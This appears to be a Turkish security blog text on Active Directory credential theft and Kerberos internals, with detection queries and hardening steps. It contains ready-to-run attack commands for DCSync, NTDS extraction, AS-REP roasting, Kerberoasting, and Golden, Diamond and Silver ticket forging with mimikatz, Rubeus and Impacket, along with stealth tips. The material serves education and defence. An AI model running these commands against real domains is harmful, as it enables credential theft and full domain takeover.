DCSync, gerçek bir NTDS.dit dosyası kopyalamaya gerek kalmadan DC'nin replikasyon protokolünü (DRSUAPI) kullanarak hash çekme tekniğidir. Avantajı: DC'ye fiziksel erişim gerekmez, sadece ağ erişimi ve uygun haklar yeterlidir.

Gerekli haklar: DS-Replication-Get-Changes ve DS-Replication-Get-Changes-All (varsayılan olarak Domain Admins ve Domain Controllers'da)

# mimikatz DCSync
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /user:krbtgt  # Golden Ticket için!
lsadump::dcsync /domain:corp.local /all /csv     # tüm hash'ler CSV formatında

# Impacket ile
python3 secretsdump.py corp.local/administrator:'Password123'@DC01.corp.local -just-dc
python3 secretsdump.py -hashes :NT_HASH administrator@DC01.corp.local -just-dc-ntlm

# CrackMapExec ile
crackmapexec smb DC01.corp.local -u administrator -p 'Password123' --ntds

# DCSync hakları ver (domain admin gerektirmez, sadece delege edilebilir)
# PowerView ile
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe -Rights DCSync

7.3 ntdsutil ile (LOLBin)

# ntdsutil — Windows'a yerleşik Active Directory yönetim aracı
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds_backup" "quit" "quit"

# Bu komut C:\temp\ntds_backup\ altında:
# Active Directory\ntds.dit
# registry\SYSTEM
# dosyalarını oluşturur

# Hash çıkarma
python3 secretsdump.py -ntds "C:\temp\ntds_backup\Active Directory\ntds.dit" -system "C:\temp\ntds_backup\registry\SYSTEM" LOCAL

8. OPSEC Değerlendirmesi ve Tespit Rehberi

8.1 Kritik Windows Olay Kimlikleri

Event 4611: Güvenilir bir oturum açma süreci LSASS'a kaydedildi
Event 4625: Başarısız oturum açma girişimi
Event 4661: SAM, NTDS veya SECURITY nesnesine handle açıldı
Event 4662: Active Directory nesnesinde işlem yapıldı (DCSync için kritik)
Event 4688: Yeni process oluşturuldu (mimikatz.exe tespiti)
Event 4698/4699: Zamanlanmış görev oluşturuldu/silindi
Sysmon Event 10: ProcessAccess — lsass.exe'ye handle açma tespiti
Sysmon Event 11: FileCreate — .dmp dosyası oluşturma
Sysmon Event 12/13: RegistryEvent — WDigest registry değişikliği

8.2 Sysmon Konfigürasyonu (LSASS Koruması)

<!-- sysmonconfig.xml -- lsass process access tespiti -->
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
</ProcessAccess>

<!-- Sonuç: her LSASS handle açılışı Event 10 olarak loglanır -->
<!-- KorelasyonKural: çok sayıda Event 10 = credential dump girişimi -->

8.3 LSASS Erişim Tespiti (KQL — Microsoft Sentinel)

// LSASS Memory Access Detection
SecurityEvent
| where EventID == 10  // Sysmon ProcessAccess
| where TargetImage contains "lsass.exe"
| where not(InitiatingProcessName in~ ("svchost.exe", "wininit.exe", "csrss.exe"))
| project TimeGenerated, Computer, InitiatingProcessName, InitiatingProcessCommandLine, TargetImage, GrantedAccess
| order by TimeGenerated desc

// DCSync Detection (Event 4662)
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"  // DS-Replication-Get-Changes-All
 or Properties has "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"
| where SubjectUserName != "DOMAIN_CONTROLLER$"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, Properties

9. Savunma Önlemleri

9.1 LSASS Koruması

# PPL (Protected Process Light) etkinleştir
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# Credential Guard GPO yolu:
# Computer Configuration > Administrative Templates > System >
# Device Guard > Turn On Virtualization Based Security
# + Credential Guard Configuration: Enable with UEFI lock

# WDigest'i devre dışı bırak (zaten kapalı olmalı, zorla kapat)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f

9.2 Audit Policy

# Gelişmiş denetim politikası yapılandırması
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Security Account Manager" /success:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable

# Sysmon kurulumu (SwiftOnSecurity config)
# https://github.com/SwiftOnSecurity/sysmon-config
sysmon.exe -accepteula -i sysmonconfig.xml

9.3 GPP Temizliği

# SYSVOL'da GPP şifrelerini tara
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml

# Bulunan XML dosyalarından cPassword alanlarını temizle
# Bulunan hesapların şifrelerini değiştir

# MS14-025 patch zaten uygulanmış olmalı — kontrol et:
wmic qfe get HotFixID | findstr KB2962486

9.4 DPAPI Güvenlik Hardening

Domain backup key'i düzenli olarak değiştirin (en az yılda bir)
Kritik sırları DPAPI yerine HSM veya Azure Key Vault'a taşıyın
DCSync hakları için Privileged Identity Management (PIM) kullanın
Microsoft Defender for Identity (MDI) ile DCSync ve Golden Ticket tespiti yapın
Tier model uygulayın: Domain Admin hesapları sadece DC'de kullanılsın

10. Referanslar ve Kaynaklar

Benjamin Delpy (gentilkiwi): mimikatz — github.com/gentilkiwi/mimikatz
SpecterOps: SharpDPAPI, SharpChrome — github.com/GhostPack
Impacket (SecureAuth): secretsdump.py, dpapi.py — github.com/fortra/impacket
MITRE ATT&CK: T1003 OS Credential Dumping — attack.mitre.org
MS14-025: GPP Credentials Advisory — Microsoft Security
harmj0y: DPAPI Primer — blog.harmj0y.net
Mark Russinovich: ProcDump, Sysinternals Suite
gentilkiwi: DPAPI avec domaine — mimikatz wiki

Kerberos Protokolü İçselleştirme: Biletler, PAC ve Güvenlik Etkileri

2026-06-29T11:00:00Z

Giriş: Kerberos'u Neden Bu Kadar Derinlemesine Anlamalıyız?

Kerberos'u gerçekten anlamak, neden altın biletlerin işe yaradığını, neden krbtgt hesabının "domain'in tanrı anahtarı" olduğunu ve neden bir servis hesabı şifresi çevrimdışı kırılabilir hale geldiğini anlamak demektir. Modern Active Directory saldırılarının büyük çoğunluğu — Golden Ticket, Silver Ticket, Kerberoasting, AS-REP Roasting, Diamond Ticket, Unconstrained Delegation, noPac — doğrudan Kerberos protokolünün iç mekanizmalarını istismar eder.

Bu yazı, Kerberos protokolünü sıfırdan başlayarak protokol tasarımı perspektifinden ele alıyor; ASN.1 yapılarını, şifreleme seçimlerini, PAC buffer'larını ve her saldırı tekniğinin protokolün tam olarak hangi zayıflığından beslendiğini açıklıyor.

Tarihsel Bağlam: MIT Athena'dan RFC 4120'ye

Kerberos, 1988 yılında MIT'nin Project Athena kapsamında geliştirildi. Temel problem şuydu: kampüs genelinde paylaşılan iş istasyonlarında kullanıcıların şifrelerini ağ üzerinden göndermeden kimlik doğrulaması nasıl yapılır? Çözüm, güvenilir bir üçüncü taraf (Kerberos sunucusu) aracılığıyla bilet tabanlı kimlik doğrulamaydı.

Kerberos v1–v4 arasındaki versiyonlar MIT içinde kullanıldı. 1993'te Neuman ve Ts'o, "Kerberos: An Authentication Service for Computer Networks" makalesini yayımladı. RFC 1510 (1993) ile ilk IETF standardizasyonu gerçekleşti; ardından RFC 4120 (2005) bu standardı kökten gözden geçirdi ve bugün hâlâ kullandığımız Kerberos 5 standardı oldu.

Microsoft, Windows 2000 ile birlikte Kerberos'u NTLM'in yerine varsayılan ağ kimlik doğrulama protokolü olarak benimsedi. Ancak MS-KILE (Microsoft Kerberos Protocol Extension) adıyla kendi uzantılarını da ekledi: PAC (Privilege Attribute Certificate), constrained delegation, resource-based constrained delegation gibi mekanizmalar RFC 4120'de yoktur, Microsoft'a özgüdür.

Bölüm 1: Kerberos Bileşenleri ve Terminoloji

Kerberos protokolünü anlamak için önce temel bileşenleri netleştirmek gerekiyor.

1.1 KDC — Key Distribution Center

KDC, Kerberos'un kalbidir ve iki mantıksal servisi barındırır:

AS (Authentication Service): Kullanıcının kimliğini doğrular ve TGT (Ticket Granting Ticket) verir. Kullanıcının uzun vadeli anahtarını (NTLM hash veya AES hash) doğrulama için kullanır.

TGS (Ticket Granting Service): Kullanıcının TGT'sini alır, doğrular ve istenen servise yönelik Service Ticket (ST) düzenler. TGS, kullanıcının şifresini bilmez; yalnızca TGT'nin geçerliliğini doğrular.

Active Directory ortamında KDC rolü, her Domain Controller üzerinde çalışır. krbtgt hesabı, tüm TGT'leri şifrelemek için kullanılan özel bir servis hesabıdır.

1.2 Principal

Principal, Kerberos'taki kimlik tanımlayıcısıdır. İki türü vardır:

Kullanıcı principal: user01@CORP.LOCAL formatında. Büyük harfli kısım realm'dir.
Servis principal: http/webserver.corp.local@CORP.LOCAL formatında. SPN (Service Principal Name) olarak da bilinir. Active Directory'de servicePrincipalName attribute'una yazılır.

1.3 Realm

Realm, Kerberos güven sınırını tanımlar. Geleneksel olarak büyük harfle yazılır ve genellikle DNS domain adıyla eşleşir: CORP.LOCAL. Cross-realm trust, iki realm arasında bilet kullanımına izin verir.

1.4 TGT vs Service Ticket

TGT (Ticket Granting Ticket):

krbtgt/CORP.LOCAL servisi için düzenlenmiş özel bir bilet
KDC'ye erişmek için kullanılır
Varsayılan ömrü 10 saat (renewable: 7 gün)
Yalnızca KDC okuyabilir (krbtgt hash'i ile şifrelenmiş)
LSASS'ta saklanır (Windows) veya ccache dosyasında (Linux)

Service Ticket (ST / TGS):

Belirli bir SPN için düzenlenmiş bilet
Servisin uzun vadeli anahtarıyla şifrelenmiş
Varsayılan ömrü 10 saat
Servis, KDC'ye sormadan doğrulayabilir (bu Silver Ticket'ı mümkün kılar)

Bölüm 2: AS Değişimi — Authentication Service Exchange

Kerberos oturumu, kullanıcı adını bile göndermeden önce başlar.

2.1 AS-REQ (KDC-REQ, msg-type 10)

AS-REQ, RFC 4120 §5.4.1'de tanımlı KDC-REQ yapısıdır:

KDC-REQ ::= SEQUENCE {
    pvno           [1] INTEGER (5),
    msg-type       [2] INTEGER (10 -- AS-REQ, 12 -- TGS-REQ),
    padata         [3] SEQUENCE OF PA-DATA OPTIONAL,
    req-body       [4] KDC-REQ-BODY
}

KDC-REQ-BODY ::= SEQUENCE {
    kdc-options    [0] KDCOptions,
    cname          [1] PrincipalName OPTIONAL,
    realm          [2] Realm,
    sname          [3] PrincipalName OPTIONAL,
    from           [4] KerberosTime OPTIONAL,
    till           [5] KerberosTime,
    rtime          [6] KerberosTime OPTIONAL,
    nonce          [7] UInt32,
    etype          [8] SEQUENCE OF Int32,
    addresses      [9] HostAddresses OPTIONAL,
    enc-authorization-data [10] EncryptedData OPTIONAL,
    additional-tickets     [11] SEQUENCE OF Ticket OPTIONAL
}

Kritik alanlar:

cname: İstemcinin principal adı (kullanıcı adı)
sname: İstenen servis; AS-REQ'da bu her zaman krbtgt/REALM
etype: İstemcinin desteklediği şifreleme türleri (tercih sırasına göre)
nonce: Replay saldırılarını önlemek için rastgele 32-bit değer
padata: Pre-authentication data (önceki kimlik doğrulama verileri)

2.2 PA-DATA: Pre-Authentication

Pre-authentication, replay saldırılarını ve offline brute-force'u önlemek için RFC 4120'ye eklendi (başlangıçta zorunlu değildi). En yaygın PA-DATA türleri:

PA-ENC-TIMESTAMP (type 2):
Kullanıcının uzun vadeli anahtarıyla şifrelenmiş zaman damgası. KDC bu şifreyi çözerek hem kullanıcının kimliğini doğrular hem de timestamp'in 5 dakika içinde olduğunu kontrol eder (replay koruması).

PA-ENC-TS-ENC ::= SEQUENCE {
    patimestamp [0] KerberosTime,
    pausec      [1] Microseconds OPTIONAL
}

PA-ETYPE-INFO2 (type 19):
KDC'nin desteklediği şifreleme türlerini ve salt değerini bildirir. İstemci bu bilgiyle anahtarını türetir.

PA-PAC-REQUEST (type 128, MS-KILE):
İstemcinin PAC isteyip istemediğini bildirir. include-pac: TRUE gönderilirse KDC TGT'ye PAC ekler.

PA-FOR-USER (type 129, S4U2Self):
Servis hesabının başka bir kullanıcı adına TGS almasını sağlar.

2.3 AS-REP Roasting: DONT_REQUIRE_PREAUTH

userAccountControl attribute'unda DONT_REQUIRE_PREAUTH (0x400000) flag'i set edilmiş kullanıcılar için KDC, PA-ENC-TIMESTAMP olmadan bile AS-REP döndürür.

AS-REP yapısı:

AS-REP ::= [APPLICATION 11] KDC-REP

KDC-REP ::= SEQUENCE {
    pvno      [0] INTEGER (5),
    msg-type  [1] INTEGER (11 -- AS-REP, 13 -- TGS-REP),
    padata    [2] SEQUENCE OF PA-DATA OPTIONAL,
    crealm    [3] Realm,
    cname     [4] PrincipalName,
    ticket    [5] Ticket,
    enc-part  [6] EncryptedData  -- EncASRepPart
}

enc-part (EncASRepPart), kullanıcının uzun vadeli anahtarıyla şifrelenmiştir ve session key'i içerir. Pre-auth yoksa bu alan hiçbir kimlik doğrulaması olmadan alınabilir ve offline kırılabilir.

# impacket ile AS-REP Roasting
GetNPUsers.py CORP.LOCAL/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# Çıktı formatı: $krb5asrep$23$user@CORP.LOCAL:...
hashcat -m 18200 asrep.hash wordlist.txt

Bölüm 3: TGT İç Yapısı — Byte Seviyesinde Analiz

TGT, RFC 4120 §5.3'te tanımlı Ticket yapısında taşınır:

3.1 Ticket ASN.1 Yapısı

Ticket ::= [APPLICATION 1] SEQUENCE {
    tkt-vno  [0] INTEGER (5),
    realm    [1] Realm,
    sname    [2] PrincipalName,
    enc-part [3] EncryptedData  -- EncTicketPart
}

EncTicketPart ::= [APPLICATION 3] SEQUENCE {
    flags            [0] TicketFlags,
    key              [1] EncryptionKey,
    crealm           [2] Realm,
    cname            [3] PrincipalName,
    transited        [4] TransitedEncoding,
    authtime         [5] KerberosTime,
    starttime        [6] KerberosTime OPTIONAL,
    endtime          [7] KerberosTime,
    renew-till       [8] KerberosTime OPTIONAL,
    caddr            [9] HostAddresses OPTIONAL,
    authorization-data [10] AuthorizationData OPTIONAL
}

3.2 Alan-Alan Güvenlik Analizi

tkt-vno (5): Protokol versiyonu. Sabit 5. Sahte biletlerde de 5 olmalı.

realm (CORP.LOCAL): İhraç eden KDC'nin realm'i. Cross-realm saldırılarda farklı realm'den ihraç edilmiş biletler burada görünür.

sname (krbtgt/CORP.LOCAL): TGT her zaman krbtgt servisi içindir. Silver Ticket'ta bu alan hedef servisin SPN'ine göre değişir.

enc-part: Bu alanın EncryptionType değeri kritiktir. etype: 17 (AES-128) veya etype: 18 (AES-256) görmek normaldir. etype: 23 (RC4-HMAC) görmek — özellikle AES destekleyen bir ortamda — ya eski bir istemci ya da bir saldırı göstergesidir.

3.3 EncTicketPart: Biletin Kalbi

flags (KDC tarafından set edilir):

TicketFlags ::= KerberosFlags
-- forwardable       (0) = 0x40000000
-- forwarded         (1) = 0x20000000
-- proxiable         (2) = 0x10000000
-- proxy             (3) = 0x08000000
-- may-postdate      (4) = 0x04000000
-- postdated         (5) = 0x02000000
-- invalid           (6) = 0x01000000
-- renewable         (7) = 0x00800000
-- initial           (8) = 0x00400000
-- pre-authent       (9) = 0x00200000
-- hw-authent       (10) = 0x00100000
-- ok-as-delegate   (11) = 0x00040000  -- unconstrained delegation
-- name-canonicalize(15) = 0x00010000  -- MS-KILE extension

FORWARDABLE: Bilet başka bir bilgisayara iletilebilir. Unconstrained delegation saldırılarında zorunludur. Golden Ticket oluştururken bu flag set edilmelidir.

OK-AS-DELEGATE: Bu flag, servis hesabının unconstrained delegation için güvenilir olduğunu gösterir. Bir saldırgan OK-AS-DELEGATE flag'i set edilmiş bir servise bağlandığında, o servis kullanıcının TGT'sini kopyalayabilir.

RENEWABLE: Kullanıcı domain controller'a tekrar gitmeden biletini yenileyebilir. Uzun süreli persistence için önemli.

PRE-AUTHENT: Bu bilet, pre-authentication kullanılarak elde edilmiştir. Güvenilir kimlik doğrulama göstergesi.

key (Session Key):
Bu, AS değişimi sırasında istemci ile KDC arasında müzakere edilen oturum anahtarıdır. İstemci, TGS-REQ'daki Authenticator'ı bu anahtarla şifreler. Session key, AS-REP'in enc-part'ında da bulunur (kullanıcının uzun vadeli anahtarıyla şifrelenmiş olarak).

authtime: Kullanıcının ilk kimlik doğrulama zamanı. Diamond Ticket, gerçek bir TGT alıp bu alanı değiştirmeden kullandığı için tespiti zorlaştırır. Golden Ticket'ta bu alan sahte olabilir.

endtime: Bilet geçerlilik süresi. Golden Ticket saldırılarında genellikle 10 yıl (87600 saat) olarak set edilir — bu anormal bir değerdir ve tespit için kullanılabilir.

authorization-data: PAC (Privilege Attribute Certificate), bu alanda taşınır. Aşağıda detaylı inceliyoruz.

3.4 Golden Ticket: Şifreleme Perspektifi

Golden Ticket saldırısı şu prensibi istismar eder: enc-part, krbtgt hesabının uzun vadeli anahtarıyla şifrelenmiştir. KDC, TGT'yi doğrularken yalnızca şifrelemeyi çözer ve içeriğin mantıklı olduğunu kontrol eder. Hangi Domain Controller'ın ihraç ettiğini doğrulayamaz, zira KDC bu bilgiyi tutmaz.

# Adım 1: krbtgt hash'i al (DCSync)
mimikatz # lsadump::dcsync /user:krbtgt /domain:corp.local

# Çıktı:
# Hash NTLM: aabbccdd11223344...
# Hash SHA1: eeff001122334455...
# AES256: 0011223344556677...

# Adım 2: Golden Ticket oluştur
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
  /sid:S-1-5-21-3623811015-3361044348-30300820 \
  /krbtgt:aabbccdd11223344... \
  /id:500 \
  /groups:512,519,520,513,518 \
  /sids:S-1-5-21-3623811015-3361044348-30300820-519 \
  /ptt

# AES-256 ile (daha stealthy — RC4 uyarısı üretmez)
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
  /sid:S-1-5-21-... /aes256:0011223344... /ptt

Golden Ticket'ın kritik özelliği: KDC hiçbir zaman "bu TGT'yi ben mi oluşturdum?" diye sormaz. Yalnızca "krbtgt anahtarımla çözülebiliyor mu ve içeriği geçerli mi?" sorusunu sorar.

3.5 Diamond Ticket: Daha Gizli Alternatif

Diamond Ticket, Golden Ticket'ın tespite karşı geliştirilmiş versiyonudur. Fark şurada:

Golden Ticket: Tamamen sahte bir TGT. Gerçek bir DC'nin üretmediği authtime, sahte cname, sahte timestamps içerebilir. Bazı honeypot/canary sistemleri bunu tespit edebilir.
Diamond Ticket: Gerçek bir TGT alınır (gerçek authtime, gerçek cname, gerçek session key ile). Sonra bu TGT'nin enc-part'ı decrypt edilir, ExtraSids alanına Domain Admins/Enterprise Admins SID'i eklenir ve yeniden şifrelenir. Sonuç: KDC'nin gerçekten ürettiği bir TGT'nin modifiye edilmiş versiyonu.

# Rubeus ile Diamond Ticket
Rubeus.exe diamond /krbkey:0011223344556677... /user:USER01 \
  /password:Password1! /enctype:aes256 \
  /sids:S-1-5-21-...-519 /domain:corp.local /dc:DC01.corp.local /ptt

# Impacket ile
ticketer.py -request -domain corp.local -domain-sid S-1-5-21-... \
  -aesKey 0011223344... -extra-sid S-1-5-21-...-519 USER01

Bölüm 4: TGS Değişimi — Ticket Granting Service Exchange

4.1 TGS-REQ (msg-type 12)

TGT alındıktan sonra kullanıcı, bir servise erişmek için TGS'ye başvurur:

-- TGS-REQ padata'sı:
PA-TGS-REQ ::= AP-REQ  -- TGT + Authenticator

AP-REQ ::= [APPLICATION 14] SEQUENCE {
    pvno     [0] INTEGER (5),
    msg-type [1] INTEGER (14),
    ap-options [2] APOptions,
    ticket   [3] Ticket,         -- TGT
    authenticator [4] EncryptedData  -- session key ile şifrelenmiş
}

Authenticator ::= [APPLICATION 2] SEQUENCE {
    authenticator-vno [0] INTEGER (5),
    crealm            [1] Realm,
    cname             [2] PrincipalName,
    cksum             [3] Checksum OPTIONAL,
    cusec             [4] Microseconds,
    ctime             [5] KerberosTime,
    subkey            [6] EncryptionKey OPTIONAL,
    seq-number        [7] UInt32 OPTIONAL,
    authorization-data [8] AuthorizationData OPTIONAL
}

Authenticator'ın güvenlik rolü: Replay saldırılarını önlemek için her Authenticator benzersiz bir timestamp içerir. KDC, son 5 dakikadaki kullanılan Authenticator'ları bir replay cache'de tutar. Aynı Authenticator ikinci kez gönderilirse KRB_AP_ERR_REPEAT hatası döndürülür.

4.2 TGS-REP (msg-type 13)

TGS-REP iki şifreli alan içerir:

TGS-REP ::= [APPLICATION 13] KDC-REP

-- enc-part: session key ile şifrelenmiş (EncTGSRepPart)
EncTGSRepPart ::= [APPLICATION 26] SEQUENCE {
    key            [0] EncryptionKey,  -- yeni session key (client↔service)
    last-req       [1] LastReq,
    nonce          [2] UInt32,
    key-expiration [3] KerberosTime OPTIONAL,
    flags          [4] TicketFlags,
    authtime       [5] KerberosTime,
    starttime      [6] KerberosTime OPTIONAL,
    endtime        [7] KerberosTime,
    renew-till     [8] KerberosTime OPTIONAL,
    srealm         [9] Realm,
    sname          [10] PrincipalName,
    caddr          [11] HostAddresses OPTIONAL
}

-- ticket: servis hash'i ile şifrelenmiş (EncTicketPart)
-- İstemci bu alanı okuyamaz, servise olduğu gibi gönderir

4.3 Kerberoasting: Servis Hash'ini Çevrimdışı Kırmak

TGS-REP'teki ticket alanı, servis hesabının uzun vadeli anahtarıyla şifrelenmiştir. İstemci bu alanın içeriğini okumaz; servise doğrudan iletir. Ancak bir saldırgan bu şifreli bloğu alıp çevrimdışı kırmayı deneyebilir.

# İmpacket ile Kerberoast
GetUserSPNs.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -request

# Çıktı: $krb5tgs$23$*SvcAccount$CORP.LOCAL$...
# hashcat ile kırma
hashcat -m 13100 kerberoast.hash /wordlists/rockyou.txt --rules=best64.rule

# AES TGS (daha zor kırılır) — hashcat mode 19600/19700
hashcat -m 19600 aes128.hash wordlist.txt
hashcat -m 19700 aes256.hash wordlist.txt

# Rubeus ile
Rubeus.exe kerberoast /nowrap /format:hashcat

RC4 Downgrade — Neden Hâlâ RC4?

Modern ortamlarda servis hesapları AES kullanabilir. Ancak saldırgan, TGS-REQ'daki etype alanında yalnızca RC4 (0x17) belirtirse, KDC servise RC4 ile şifreli TGS verebilir — eğer servis hesabının msDS-SupportedEncryptionTypes değeri RC4'e izin veriyorsa.

# RC4 zorla
Rubeus.exe kerberoast /rc4opsec /nowrap
# veya
GetUserSPNs.py CORP.LOCAL/user01:Password1! -request -etype RC4

4.4 Silver Ticket: KDC'ye Hiç Gitmeden

Silver Ticket, TGS-REP'teki ticket alanını — servis hash'i ile — kendimiz oluşturmamıza dayanır. Böylece KDC'ye hiç bağlanmadan servise giriş yapabiliriz. Bu hem daha sessizdir (KDC logları yok) hem de etki alanı bağlantısı gerektirmez.

# Servis hash'ini al (önceki Kerberoast veya local dump)
mimikatz # sekurlsa::logonpasswords
# veya: lsadump::lsa /patch

# Silver Ticket oluştur
mimikatz # kerberos::golden /user:FakeUser \
  /domain:corp.local \
  /sid:S-1-5-21-3623811015-3361044348-30300820 \
  /target:webserver.corp.local \
  /service:http \
  /rc4:aabbccdd... \
  /ptt

# Rubeus ile
Rubeus.exe silver /service:http/webserver.corp.local \
  /rc4:aabbccdd... /user:FakeUser /domain:corp.local /ptt

Silver Ticket, yalnızca o servis için geçerlidir ve PAC'ı KDC'ye doğrulatmayan servisler için çalışır. Çoğu servis (IIS, MSSQL, SMB) PAC doğrulama yapmaz.

Bölüm 5: PAC — Privilege Attribute Certificate

PAC, Microsoft'un RFC 4120'ye eklediği en kritik uzantıdır. Kerberos biletlerinin içinde taşınan ve Windows yetkilendirme kararlarını yönlendiren yapıdır.

5.1 PAC'ın Konumu

PAC, her Kerberos biletinin authorization-data alanında bulunur. Sarma yapısı şöyledir:

AuthorizationData ::= SEQUENCE OF SEQUENCE {
    ad-type  [0] Int32,
    ad-data  [1] OCTET STRING
}

-- ad-type: 1  → AD-IF-RELEVANT
-- İçinde: ad-type: 128 → AD-WIN2K-PAC

5.2 PACTYPE Yapısı

MS-PAC spesifikasyonuna göre PAC, aşağıdaki üst düzey yapıya sahiptir:

PACTYPE {
    cBuffers: ULONG,         // Buffer sayısı
    Version: ULONG (0),      // Her zaman 0
    Buffers[]: PAC_INFO_BUFFER
}

PAC_INFO_BUFFER {
    ulType:  ULONG,          // Buffer türü
    cbBufferSize: ULONG,     // Buffer boyutu
    Offset: ULONG64          // PAC başından offset
}

5.3 PAC_LOGON_INFO (ulType: 0x00000001) — En Kritik Buffer

Bu buffer, KERB_VALIDATION_INFO (MS-PAC §2.5) yapısını içerir ve NDR (Network Data Representation) ile encode edilmiştir. Windows'un kullanıcı yetkilerini belirlemek için kullandığı tüm veriler burada bulunur.

KERB_VALIDATION_INFO {
    LogonTime:              FILETIME
    LogoffTime:             FILETIME
    KickOffTime:            FILETIME
    PasswordLastSet:        FILETIME
    PasswordCanChange:      FILETIME
    PasswordMustChange:     FILETIME
    EffectiveName:          RPC_UNICODE_STRING  // username
    FullName:               RPC_UNICODE_STRING
    LogonScript:            RPC_UNICODE_STRING
    ProfilePath:            RPC_UNICODE_STRING
    HomeDirectory:          RPC_UNICODE_STRING
    HomeDirectoryDrive:     RPC_UNICODE_STRING
    LogonCount:             USHORT
    BadPasswordCount:       USHORT
    UserId:                 ULONG  // RID (e.g., 1105)
    PrimaryGroupId:         ULONG  // e.g., 513 = Domain Users
    GroupCount:             ULONG
    GroupIds[]:             GROUP_MEMBERSHIP[]  // Group RID listesi
    UserFlags:              ULONG
    UserSessionKey:         USER_SESSION_KEY
    LogonServer:            RPC_UNICODE_STRING
    LogonDomainName:        RPC_UNICODE_STRING
    LogonDomainId:          PRPC_SID  // Domain SID
    Reserved1[2]:           ULONG
    UserAccountControl:     ULONG
    SubAuthStatus:          ULONG
    LastSuccessfulILogon:   FILETIME
    LastFailedILogon:       FILETIME
    FailedILogonCount:      ULONG
    Reserved3:              ULONG
    SidCount:               ULONG
    ExtraSids[]:            KERB_SID_AND_ATTRIBUTES[]  // ← SALDIRI NOKTASI
    ResourceGroupDomainSid: PRPC_SID
    ResourceGroupCount:     ULONG
    ResourceGroupIds[]:     GROUP_MEMBERSHIP[]
}

ExtraSids — Golden Ticket'ın Kalbi

ExtraSids alanı, kullanıcının üye olduğu ek SID'leri içerir. Normalde bu alan, cross-realm SID history gibi durumlar için kullanılır. Golden Ticket saldırısında ise bu alana Domain Admins (512) veya Enterprise Admins (519) SID'i eklenir:

ExtraSids[0] = S-1-5-21-3623811015-3361044348-30300820-512  // Domain Admins
ExtraSids[1] = S-1-5-21-3623811015-3361044348-30300820-519  // Enterprise Admins

Servis bu SID'leri PAC'tan okur ve kullanıcıya Domain Admin yetkisi verir — Active Directory'de gerçek bir grup üyeliği olmasa bile.

5.4 PAC_CLIENT_INFO (ulType: 0x0000000A)

PAC_CLIENT_INFO {
    ClientId:   FILETIME    // authtime (8 byte)
    NameLength: USHORT
    Name:       WCHAR[]     // ClientName (UTF-16LE)
}

Bu buffer, bileti kullanan istemcinin adını ve kimlik doğrulama zamanını içerir. Diamond Ticket analizi yaparken bu alanın gerçek bir değer taşıması tespiti zorlaştırır.

5.5 PAC_UPN_DNS_INFO (ulType: 0x0000000C)

UPN_DNS_INFO {
    UpnLength:        USHORT
    UpnOffset:        USHORT
    DnsDomainNameLength: USHORT
    DnsDomainNameOffset: USHORT
    Flags:            ULONG
    // Data: UPN + DnsDomainName (UTF-16LE)
}

UPN (User Principal Name) ve DNS domain adını içerir. Bazı servislerin kullanıcı kimliği için kullandığı ek bilgi.

5.6 PAC_SERVER_CHECKSUM (ulType: 0x00000006)

PAC_SIGNATURE_DATA {
    SignatureType: ULONG  // 0x0000000F = HMAC-SHA1-96
    Signature:    BYTE[]  // 12 veya 16 byte HMAC
    RODCIdentifier: USHORT OPTIONAL
}

Bu checksum, servis hesabının uzun vadeli anahtarıyla hesaplanmıştır. PAC içeriğinin değiştirilmediğini doğrular.

Silver Ticket bağlantısı: Saldırgan servis hash'ini biliyorsa, sahte PAC oluşturabilir ve PAC_SERVER_CHECKSUM'u doğru şekilde hesaplayabilir. Servis, bu checksum'u yalnızca kendi anahtarıyla doğrular.

5.7 PAC_KDC_CHECKSUM (ulType: 0x00000007)

Aynı PAC_SIGNATURE_DATA formatını kullanır ancak krbtgt anahtarıyla hesaplanır. PAC_SERVER_CHECKSUM'un checksum'udur (PAC'ın tamamının değil).

Golden/Diamond Ticket bağlantısı: Saldırgan krbtgt hash'ini biliyorsa bu checksum'u yeniden hesaplayabilir ve KDC doğrulamasından geçebilir.

5.8 PAC Doğrulama: Neden Çoğu Servis Yapmaz?

RFC 4120 PAC doğrulamayı zorunlu kılmaz. Servis, PAC'ı KDC'ye gönderip doğrulatabilir (KERB_VERIFY_PAC_REQUEST protokolü) ancak bu ek bir RPC çağrısı gerektirir ve performansı düşürür. IIS, MSSQL, SMB gibi yaygın servislerin büyük çoğunluğu PAC doğrulama yapmaz. Bu yüzden Silver Ticket çalışır.

PAC doğrulamayı etkinleştirmek için:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1  (DWORD)

Bölüm 6: Şifreleme Türleri ve Güvenlik Analizi

6.1 RFC 3961: Kerberos Şifreleme Çerçevesi

RFC 3961, Kerberos şifreleme türleri için genel bir çerçeve tanımlar. Her şifreleme türü için:

Anahtar türetme fonksiyonu (string2key, random2key)
Şifreleme ve şifre çözme
Integrity checksum
Pseudo-random fonksiyonu

6.2 RC4-HMAC (etype 0x17): Neden Hâlâ Sorunlu?

RC4-HMAC, RFC 4757'de tanımlanmıştır ve Microsoft'un Windows 2000 ile eklediği bir uzantıdır. Kritik güvenlik sorunu şudur: RC4-HMAC için Kerberos anahtarı, NTLM hash'inin kendisidir.

string2key(password, salt) = NTLM-hash(password) = MD4(UTF16LE(password))

Yani:

NTLM hash'i ele geçiren saldırgan, RC4 ile şifrelenmiş Kerberos TGT/TGS'yi kırabilir
